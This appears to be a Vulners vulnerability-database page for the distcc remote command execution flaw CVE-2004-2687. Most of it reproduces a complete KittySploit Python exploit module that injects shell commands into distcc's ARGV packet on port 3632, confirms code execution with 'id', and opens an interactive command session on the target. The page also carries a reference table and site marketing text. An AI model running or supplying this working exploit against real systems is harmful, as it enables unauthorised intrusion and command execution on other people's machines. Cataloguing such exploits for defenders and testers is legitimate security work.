distcc - Remote Command Execution (CVE-2004-2687)
| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| CVE-2004-2687 | 31 Dec 200400:00 | – | attackerkb | |
| Vulnerability Management at Tinkoff Fintech School | 4 Mar 201910:38 | – | avleonov | |
| Exploit for CVE-2004-2687 | 20 Apr 202622:50 | – | githubexploit | |
| VulnLinux-Exploitation | 7 Jun 202603:49 | – | githubexploit | |
| CVE-2004-2687 | 29 May 201815:50 | – | circl | |
| CVE-2004-2687 | 23 Sep 200723:00 | – | cve | |
| CVE-2004-2687 | 23 Sep 200723:00 | – | cvelist | |
| CVE-2004-2687 | 23 Sep 200723:00 | – | debiancve | |
| DistCC Daemon Command Execution | 3 Jul 201000:00 | – | exploitdb | |
| DistCC Daemon - Command Execution (Metasploit) | 1 Feb 200200:00 | – | exploitdb |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""distcc RCE (CVE-2004-2687) — opens execute session."""
import re
import socket
from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler
class Module(Exploit, Tcp_scanner_client, Handler):
__info__ = {
'name': 'distcc - Remote Command Execution (CVE-2004-2687)',
'description': (
'Exploits CVE-2004-2687 by injecting shell commands into distcc ARGV. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2004-2687'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2004-2687'],
'tags': ['distcc', 'rce', 'unauth', 'kev', 'cve-2004-2687'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/tcp/cve_2004_2687_detect'],
},
},
}
port = OptPort(3632, 'distcc port', True)
@staticmethod
def _argv(arg: str) -> bytes:
raw = arg.encode()
return f'ARGV{len(raw):08d}'.encode() + raw
def execute(self, cmd: str) -> str:
host = self._host()
port = self._port()
if not host:
return ''
safe = str(cmd).replace('\n', ';').replace('\r', '')
# DIST + ARGC=8 args: sh -c <cmd> # -c main.c -o main.o + DOTI
pkt = (
b'DIST00000001'
b'ARGC00000008'
+ self._argv('sh')
+ self._argv('-c')
+ self._argv(safe)
+ self._argv('#')
+ self._argv('-c')
+ self._argv('main.c')
+ self._argv('-o')
+ self._argv('main.o')
+ b'DOTI0000000A'
+ b'WJyU1npobv\n'
)
try:
sock = socket.create_connection((host, port), timeout=self._timeout())
sock.settimeout(self._timeout())
sock.sendall(pkt)
chunks = []
while True:
try:
chunk = sock.recv(4096)
except socket.timeout:
break
if not chunk:
break
chunks.append(chunk)
sock.close()
return b''.join(chunks).decode('latin-1', errors='replace')
except Exception:
return ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
print_error('Target does not appear vulnerable to CVE-2004-2687')
return False
print_success('distcc RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 29.3
EPSS0.88195